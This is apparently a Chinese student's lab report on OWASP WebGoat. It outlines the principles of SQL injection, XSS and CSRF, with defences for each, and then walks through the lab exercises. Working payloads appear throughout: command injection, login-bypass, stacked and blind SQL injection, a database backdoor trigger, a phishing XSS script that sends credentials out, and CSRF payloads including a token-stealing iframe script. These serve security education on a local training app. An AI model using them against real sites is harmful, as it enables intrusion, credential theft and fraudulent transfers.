返回目錄javascript
返回目錄html
SQL注入攻擊原理,如何防護java
- SQL注入攻擊指的是經過構建特殊的輸入做爲參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,經過執行SQL語句進而執行攻擊者所要的操做。如經過在用戶名、密碼登輸入框中輸入一些
'
,--
,#
等特殊字符,實現引號閉合、註釋部分SQL語句,利用永真式實現登陸、顯示信息等目的。- 防護:
- 檢查變量數據類型和格式
- 對沒法肯定固定格式的變量,進行特殊符號過濾或轉義處理
- 綁定變量,使用預編譯語句
XSS攻擊的原理,如何防護linux
- 全稱爲跨站腳本攻擊,是一種網站應用程序的安全漏洞攻擊。攻擊者經過往Web頁面裏插入惡意html標籤或者javascript代碼,當用戶瀏覽該頁或者進行某些操做時,利用用戶對原網站的信任,誘騙用戶或瀏覽器執行一些不安全的操做或者向其它網站提交用戶的私密信息。
- 防護:
- 在表單提交或者url參數傳遞前,對須要的參數進行過濾
- 檢查用戶輸入的內容中是否有非法內容
CSRF攻擊原理,如何防護git
- 全程爲跨站域請求僞造,攻擊者借用用戶的身份,向web server發送請求,由於該請求不是用戶本意,因此稱爲「跨站請求僞造」。CSRF攻擊中的那個「僞造的請求」的URL地址,通常是經過XSS攻擊來注入到服務器中的。因此其實CSRF能夠看作是XSS攻擊的一種。
- CSRF的攻擊分爲兩步,首先要注入惡意URL地址,而後在該地址中寫入攻擊代碼,利用
<img>
等標籤或者使用Javascript腳本。- 防護:
- 經過referer、token或者驗證碼來檢測用戶提交
- 儘可能不要在頁面的連接中暴露用戶隱私信息,對於用戶修改刪除等操做最好都使用post操做
- 避免全站通用的cookie,嚴格設置cookie的域
返回目錄github
WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。其運行在帶有java虛擬機的平臺之上,並提供了一系列web安全學習的教程,來指導用戶利用這些漏洞進行攻擊。web
netstat -tupln | grep 8080
kill 進程號
或kill -s 9 進程號
終止佔用8080端口的進程java -version
查看jdk版本java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
Starting ProtocolHandler ["http-bio-8080"]
這一條消息以後就能夠進行下一步了~http://localhost:8080/WebGoat
(在界面裏咱們能夠看到給出了兩組用戶名和密碼,能夠直接使用登錄)目標:可以在目標主機上執行任何系統命令sql
Injection Flaws
-Command Injection
inspect Element
審查網頁元素對源代碼進行修改,在末尾添加"& netstat -an & ipconfig"
view
,可查看到命令執行結果目標:顯示天氣狀況數據庫
Injection Flaws
-Numeric SQL Injection
inspect Element
審查網頁元素對源代碼value="101"
進行修改,在城市編號101後面添加or 1=1
Go
,能夠看到攻擊成功目標:使用戶名爲
admin
的用戶在日誌中顯示成功登陸
後端
Injection Flaws
-Log Spoofing
User Name
中填入webgoat%0d%0aLogin Succeeded for username: admin
,利用回車0D%
和換行符%0A
讓其在日誌中兩行顯示Login
,能夠看到webgoat
在Login Fail
那行顯示,咱們本身添加的語句在下一行顯示admin <script>alert(document.cookie)</script>
,管理員能夠看到彈窗的cookie信息目標:基於查詢語句構造本身的SQL 注入字符串將全部信用卡信息顯示出來。
Injection Flaws
-String SQL Injection
Smith' or 1=1--
'
提早閉合""
,插入永真式1=1
,且--
註釋掉後面的內容,這樣就能select表裏面的全部數據使用SQL注入繞過認證。
' or 1=1 --
,登陸失敗,會發現密碼只有一部分輸入,說明密碼長度有限制。inspect Element
審查網頁元素對長度進行修改' or 1=1 --
,登陸成功數據庫一般做爲一個Web應用程序的後端來使用。此外,它也用來做爲存儲的媒介。它也能夠被用來做爲存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另外一個數據庫操做,如insert,select,update or delete。
攻擊者能夠建立一個觸發器,該觸發器在建立新用戶時,將每一個新用戶的Email 地址設置爲攻擊者的地址。
101
,獲得該用戶的信息101; update employee set salary=10000
(這裏執行了兩個語句,中間須要用分號分隔)101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
某些SQL注入是沒有明確返回信息的,只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語句。
SELECT * FROM user_data WHERE userid=accountNumber;
使用AND函數,咱們能夠添加一些額外的查詢條件。若是該查詢條件一樣爲真,則返回結果應提示賬號有效,不然無效:
101 AND 1=1 101 AND 1=2`第一個語句中,兩個條件都成立,因此頁面返回
Account number is valid
;而第二條則返回賬號無效101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
在查詢框中輸入2364
並提交
目標:找到
pins
表中cc_number
字段值爲4321432143214321
的記錄中pin字段的數值。pin字段類型爲varchar
。輸入找到的數值(最終的字符串,注意拼寫和大寫)並提交。
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
0-9A-Za-z
等字符串)和頁面的返回數據,判斷出第一個字符爲J
。同理繼續判斷第二個字符:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
Jill
,提交該值。在XSS的幫助下,咱們能夠實現釣魚工具或向某些官方頁面中增長內容。對於受害者來講很難發現該內容是否存在威脅。目標是建立一個form,要求填寫用戶名和密碼。
一個帶用戶名和密碼輸入框的表格以下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
XSS
-Phishing with XSS
搜索上面代碼,能夠看到頁面中增長了一個表單如今咱們須要一段腳本:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
將上面兩段代碼合併搜索
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
咱們在搜索到的表單中輸入用戶名和密碼,點擊登陸,WebGoat會將輸入的信息捕獲並反饋給咱們。
目標:建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容。
<script>alert("20165330 attack succeed!");</script>
,Title任意輸入。提交後可發現剛建立的帖子5330
。5330
,而後會彈出一個對話框,證實XSS攻擊成功。XSS反射型攻擊,惡意代碼並無保存在目標網站,經過引誘用戶點擊一個連接到目標網站的惡意連接來實施攻擊的。
Enter your three digit access code:
中輸入<script>alert("I am 20165330");</script>
點擊Purchase
,成功顯示警告框,內容爲咱們script腳本指定的內容。CSRF經過假裝來自受信任用戶的請求來利用受信任的網站。目標:向一個新聞組發送一封郵件,郵件中包含一張圖片,這個圖像的URL指向一個惡意請求。
XSS
-Cross Site Request Forgery(CSRF)
Parameters
中的src和menu值,個人分別爲309
和900
<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />
,以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit
提交(其中語句中的&transferFunds=5000
,即轉走的受害人的金額;寬高設置成1像素的目的是隱藏該圖片)Message List
中生成以Title命名的連接(消息)。點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的5000元,從而達到CSRF攻擊的目的。XSS
-CSRF Prompt By-Pass
同上面的攻擊,查看頁面右下方的Parameters
中的src和menu值,個人分別爲320和900,並輸入任意的Title,message框中輸入代碼
<iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>
點擊Submit
生成以Title命名的連接,點擊連接,攻擊成功
目標是向包含惡意轉帳請求的新聞組發送電子郵件。要成功完成,須要獲取有效的請求令牌。顯示轉帳表單的頁面包含有效的請求令牌。轉帳頁面的URL是「攻擊」servlet,帶有本課的「屏幕」和「菜單」查詢參數以及額外的參數「transferFunds=main」。加載此頁面,讀取令牌並將令牌附加到僞造的請求中,以轉移資金
XSS
-CSRF Token By-Pass
http://local host:8080/WebGoat/attack?Screen=728&menu=900&transferFunds=main
生成的資金轉帳頁面的表單內容。<form accept-charset='UNKNOWN' id='transferForm' method='POST' action='#attack/728/900' enctype='application/x-www-form-urlencoded'> <input name='transferFunds' type='text' value='0'> <input name='CSRFToken' type='hidden' value='79375628'> <input type='submit'> </form>
結合上面的token值構造僞造的URL,附加轉帳參數4000。下面是我從網上教程中找到的一段代碼,經過frame->forme的路徑能夠讀取並保存CSRFToken參數:
<script> var tokenvalue; // Step 2 :竊取token function readFrame1() { var frameDoc = document.getElementById("frame1").contentDocument; var form = frameDoc.getElementsByTagName("form")[1]; var token = form.CSRFToken.value; tokenvalue = '&CSRFToken='+token; loadFrame2(); } //Step 3 :結合token值構造僞造的URL,附加轉帳參數4000 function loadFrame2() { var testFrame = document.getElementById("frame2"); testFrame.src="?transferFunds=4000"+tokenvalue; } </script> <!-- Step 1 :給出的是正常的頁面,其實已經加載了一個js腳本,來獲取token--> <iframe src="http://localhost:8080/WebGoat/attack?Screen=728&menu=900&transferFunds=main" onload="readFrame1();" id="frame1" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe> <!-- Step 4 :將構造的URL發送給Server並生效--> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe>
點擊Submit
後查看以Title命名的連接
不知道爲啥個人顯示是這樣的。。。
參考資料